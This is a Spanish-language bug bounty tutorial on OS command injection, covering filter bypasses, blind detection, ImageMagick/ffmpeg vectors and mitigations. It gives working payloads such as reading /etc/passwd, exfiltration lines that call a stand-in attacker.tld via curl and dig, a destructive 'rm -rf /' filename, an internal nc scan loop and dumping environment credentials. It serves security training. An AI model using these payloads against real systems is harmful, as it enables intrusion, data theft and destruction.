Nivel IntermedioGratis

Command Injection — bypasses con espacio, encoding y backticks

Inyección de comandos en endpoints que pasan input al shell. Bypasses de filtros: ${IFS}, $@, ;|&, encoded null bytes, output redirection a archivo.

Gorka El Bochi9 de mayo de 202610 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

Command Injection ocurre cuando input del usuario llega al shell del servidor sin sanitizar. Vectores típicos: endpoints que pasan a system(), exec(), popen(), o construcción de comandos para conversores (ImageMagick, ffmpeg, ping, traceroute). Los bypasses se centran en operadores de chaining (;|&), espacios alternativos (${IFS}, $@), encoding (URL, hex), output redirection cuando no hay output visible.


Vectores típicos

Endpoints que llaman al shell:

  • Network tools: ping, traceroute, nslookup — input es la IP/host.
  • File converters: ImageMagick (convert input.jpg ... output.png), ffmpeg, LibreOffice.
  • Backups / restore: rutas de archivo en BD/filesystem.
  • Endpoints de admin: deploy, restart service, logs (tail -f /logs/<service>).
  • PDF generators: wkhtmltopdf <url>, headless Chrome.

Cualquier endpoint que tarde "lo que tarda un comando" (no milisegundos, sino segundos) es candidato.


Inyección básica

Si ?host=8.8.8.8 se ejecuta como ping -c 1 8.8.8.8, prueba:

ini
?host=8.8.8.8;id
?host=8.8.8.8|id
?host=8.8.8.8&id
?host=8.8.8.8&&id
?host=8.8.8.8`id`
?host=8.8.8.8$(id)
?host=8.8.8.8\nid          (URL-encoded \n = %0a)

El que devuelva el output de id (o un error que lo revele) confirma RCE.


Bypasses comunes

1. Sin espacios

Si el filtro bloquea espacio:

bash
{IFS}                  # Internal Field Separator
${IFS}                 # también funciona
$IFS                   # bash interpola
$IFS$9                 # IFS + var $9 (vacía) → separador
{cmd,arg1,arg2}        # brace expansion: ls{,/etc}
%09                    # tab URL-encoded (a veces parseado como espacio)

Ejemplo:

bash
# Original: ping -c 1 $host
# Filtra espacios

?host=8.8.8.8;id${IFS}-u
?host=8.8.8.8;cat${IFS}/etc/passwd
?host=8.8.8.8;{cat,/etc/passwd}

2. Sin caracteres especiales (;|& filtrados)

  • \n (%0a): newline a veces pasa filtros que solo bloquean lista explícita.
  • Subshell con backticks: \id``.
  • Subshell con $(): $(id).
  • AND condicional: && id (si & solo se filtra uno).

3. Encoded payloads

  • URL-encoded: %3B (;), %7C (|), %26 (&), %24%28...%29 ($(...)).
  • Double URL-encoded: %253B cuando la app decodifica dos veces.
  • Hex: en curl \x3b para ;.

4. Output redirection cuando no se ve la respuesta

Si el endpoint no retorna stdout, redirige a un archivo accesible:

bash
?host=8.8.8.8;id>/var/www/html/out.txt
# Luego curl https://target.tld/out.txt

O exfiltración via DNS:

bash
?host=8.8.8.8;`id|head -c 30|base64|tr -d '='|tr '+' '_'|read v;curl $v.attacker.tld`
?host=8.8.8.8;dig $(id|md5sum|cut -d' ' -f1).attacker.tld
?host=8.8.8.8;curl attacker.tld/$(whoami)

Burp Collaborator es ideal para ver los DNS hits.


Blind command injection

Cuando no hay output ni latencia obvia, usa time-based:

ini
?host=8.8.8.8;sleep 10
?host=8.8.8.8;ping -c 10 127.0.0.1
?host=8.8.8.8;`sleep${IFS}10`

Si el response tarda 10s vs <1s normal → confirmado.


Patrones específicos

ImageMagick — MSL y ephemeral:

ImageMagick tiene operadores que ejecutan código. Vector clásico via SVG con MSL o paths con ephemeral::

sql
ephemeral:|id
MSL[script with system call]

CVE-2016-3714 (ImageTragick) sigue presente en versions sin patch.

convert input.jpg output.png con nombre controlado

Si el output filename es controlado:

ini
filename = "shell.png\";id;\""
# Ejecuta como: convert input.jpg "shell.png";id;""

Quoting roto → injection.

ffmpeg con SSRF + RCE

ffmpeg con concat puede leer archivos arbitrarios o conectar a URLs:

csharp
file 'https://attacker.tld/payload.mp4'
file '|id'   (in some pipelines)

CVE-2017-7670 y derivados.

Filename inyectable

Cualquier endpoint que pasa nombre de archivo subido a un comando shell:

bash
filename = "x.jpg; rm -rf /"
# system("convert " + filename + " out.png")

Si la app no escapa, RCE directo.


Casos donde RCE no es directo pero sí impacta

  • Lectura de archivos arbitrarios via cat /etc/passwd o redirección.
  • Server-side request forgery via curl http://internal:8080/admin.
  • Discovery de internal hosts via for ip in 10.0.0.{1..254}; do nc -zv $ip 22; done.
  • Dump de variables de entorno via env (incluye AWS keys, DB credentials).

Cada uno tiene severidad propia incluso sin escalar a RCE pleno.


Detección a ciegas

Cuando no puedes confirmar fácilmente:

  1. Burp Collaborator OOB — ?host=$(curl${IFS}<random>.collab.tld) y observar si llega DNS/HTTP.
  2. Time-based con sleep distintos para confirmar (3s, 5s, 7s, mide cada uno).
  3. Output redirection a path web-accesible y leer.

Hunting checklist

  • ¿Hay endpoints con input que parece IP, hostname, filename, URL, path?
  • ¿El response tarda algo (>500ms) sin razón obvia? Probar inyección con ;sleep 5.
  • ¿La app usa converters (image/video/PDF)? Vector probable.
  • ¿Hay endpoints de "diagnóstico" en admin (ping internal IP, check DNS, etc)?
  • ¿El filtro bloquea ;|& pero deja \n o backticks?
  • ¿Si no hay output, probar OOB (DNS) y output redirection?
  • ¿Filename del archivo subido se usa en algún comando shell?

Mitigación correcta

  1. Nunca construir comandos shell con concatenación de string. Usar APIs nativas (net.sendto en lugar de system("ping")).
  2. Si inevitable (legacy), pasar args como array (no string concatenado): execFile('ping', ['-c', '1', host]) en Node.js.
  3. Whitelist estricta del input (solo IPs válidas, solo filenames con [a-zA-Z0-9._-]).
  4. Ejecutar el binario en sandbox/contenedor restringido (no como root).

Labs relacionados

Practica command injection con bypasses de filtros, OOB exfiltration y blind detection: labs de Command Injection.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Command Injection

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.